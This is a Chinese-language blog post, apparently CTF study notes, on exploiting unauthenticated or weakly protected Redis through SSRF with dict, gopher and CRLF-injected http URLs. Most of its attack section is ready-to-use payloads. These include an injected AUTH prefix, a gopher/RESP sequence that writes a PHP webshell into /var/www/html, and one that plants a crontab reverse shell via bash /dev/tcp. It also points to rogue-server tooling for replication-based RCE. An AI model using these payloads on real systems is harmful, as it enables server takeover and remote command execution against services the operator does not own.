• ssrf与redis安全


    基础命令

    • 远程登录
      redis-cli -h host -p port -a password
      • SET runoobkey redis
      • DEL runoobkey
      • keys *获取所有键值
    • 字符串
      • get runoobkey
    • 连接
      • AUTH "password" 验证密码
    • 字符串操作
      • set tmp 1 bitop xor res flag tmp复制指定键的一种方法
      • setrange flag 4 z修改字符串

    Redis客户端支持管道操作,可以通过单个写入操作发送多个命令,而无需在发出下一个命令之前读取上一个命令的服务器回复。所有的回复都可以在最后阅读

    dict/gopher/http

    dict只能执行一条命令dict://0.0.0.0:6379/auth pass,所以无法用来攻击需要认证的redis
    gopher支持多行。因此要在传输的数据前加一个无用字符。比如gopher://ip:port/_ 通常用_,并不是只能用_,gopher协议会将第一个字符"吃掉"。
    http如果使用存在crlf注入的方式,一样可以用http来攻击redishttp://127.0.0.1:6379?%0d%0aKEYS%20*%0d%0apadding

    攻击方式

    攻击需要认证的redis

    在payload前加上%2A2%0d%0a%244%0d%0aAUTH%0d%0a%246%0d%0a123123%0D%0A

    写webshell

    推荐工具Gopherus
    urldecode工具生成的payload,具体含义可以参考浅析SSRF认证攻击Redis

    *1
    $8
    flushall
    *3
    $3
    set
    $1
    1
    $34
    
    
    <?php system($_GET['cmd']); ?>
    
    
    *4
    $6
    config
    $3
    set
    $3
    dir
    $13
    /var/www/html
    *4
    $6
    config
    $3
    set
    $10
    dbfilename
    $9
    shell.php
    *1
    $4
    save
    
    
    

    翻译成redis命令大概就是

    flushall
    set 1 "
    
    <?php system($_GET['cmd']); ?>
    
    "
    config set dir /var/www/html
    config set dbfilename shell.php
    save
    

    可见利用的是redis数据库备份的功能来写webshell

    写crontab反弹shell(仅限centos)

    *1
    $8
    flushall
    *3
    $3
    set
    $1
    1
    $64
    
    
    */1 * * * * bash -c "sh -i >& /dev/tcp/127.0.0.1/1234 0>&1"
    
    
    
    *4
    $6
    config
    $3
    set
    $3
    dir
    $16
    /var/spool/cron/
    *4
    $6
    config
    $3
    set
    $10
    dbfilename
    $4
    root
    *1
    $4
    save
    
    
    

    原理和写webshell一样,只是改成写crontab

    flushall
    set 1 "
    
    */1 * * * * bash -c "sh -i >& /dev/tcp/127.0.0.1/1234 0>&1"
    
    
    "
    config set dir /var/spool/cron/
    config set dbfilename root
    save
    

    主从复制

    GKCTF-EzWeb+redis未授权访问
    初探Redis-wdb玄武组ssrfme&pwnhub公开赛

    我们redis主从复制RCE的方式,其实就是利用了redis简洁的协议,构造恶意服务器,将原本用于存储备份的rdb文件,替换为我们恶意的exp.so。这样节点redis中就会自动生成exp.so,使得我们可以用load_module进行rce.

    rogue-server.py来自https://github.com/xmsec/redis-ssrf,用这里的ssrf-redis.py生成执行命令的payload
    exp.so来自https://github.com/n0b0dyCN/redis-rogue-server

  • 相关阅读:
    数据库被黑后留下的数据
    cron(CronTrigger)表达式用法
    nodeJS常用的定时执行任务的插件
    css实现隐藏滚动条
    iOS
    iOS
    iOS
    iOS
    iOS
    iOS
  • 原文地址:https://www.cnblogs.com/20175211lyz/p/13415749.html
Copyright © 2020-2023  润新知